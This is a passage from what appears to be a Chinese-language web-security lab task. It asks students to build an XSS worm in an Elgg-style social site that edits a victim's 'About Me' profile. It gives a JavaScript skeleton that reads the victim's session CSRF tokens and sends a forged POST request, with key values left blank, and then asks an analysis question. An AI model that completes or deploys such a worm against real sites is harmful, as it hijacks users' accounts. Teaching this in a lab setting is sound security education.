章节大纲

  • 本任务的目标是在受害者访问 Samy 页面时修改其资料。具体来说,要修改  "About Me" 字段的内容。我们将编写一个 XSS 蠕虫来完成此任务。这个蠕虫不具有自我传播能力。在任务 6 中,我们会加上自我传播的能力。

    和前一个任务类似,我们需要编写一个恶意的 JavaScript 程序,直接从受害者的浏览器发起 HTTP 请求。我们首先需要了解合法用户是如何编辑或修改其个人资料的。具体来说,我们需要弄清楚构造修改用户资料的 HTTP POST 请求的方式。我们将使用 Firefox 的 HTTP 检查工具。一旦理解了修改个人资料的 HTTP POST 请求的格式,我们就可以编写一个 JavaScript 程序来发出相同的HTTP请求。我们提供了一个 JavaScript 代码框架。
    <script type="text/javascript">
    window.onload = function(){
      // 获取 user name, user guid, Time Stamp __elgg_ts,和 Security Token __elgg_token
      var userName="&name="+elgg.session.user.name;
      var guid="&guid="+elgg.session.user.guid;
      var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
      var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
      //构造URL的内容
      var content=...;     // 填空
      var samyGuid=...;    // 填空
      var sendurl=...;     // 填空
    
      if(elgg.session.user.guid!=samyGuid)           🅰
      {
         // 创建并发送AJAX请求,以修改个人资料
         var Ajax=null;
         Ajax=new XMLHttpRequest();
         Ajax.open("POST", sendurl, true);
         Ajax.setRequestHeader("Content-Type",  "application/x-www-form-urlencoded");
         Ajax.send(content);
      }
    }
    </script>
    类似于任务 4,上述代码应放置在 Samy 的个人资料页面的  "About Me" 字段中,并且在输入上述 JavaScript 代码之前需要转换到文本模式。

    问题。 请回答以下问题:
    • 问题3:为什么我们需要第 🅰 行?删除该行后再做攻击,报告并解释观察结果。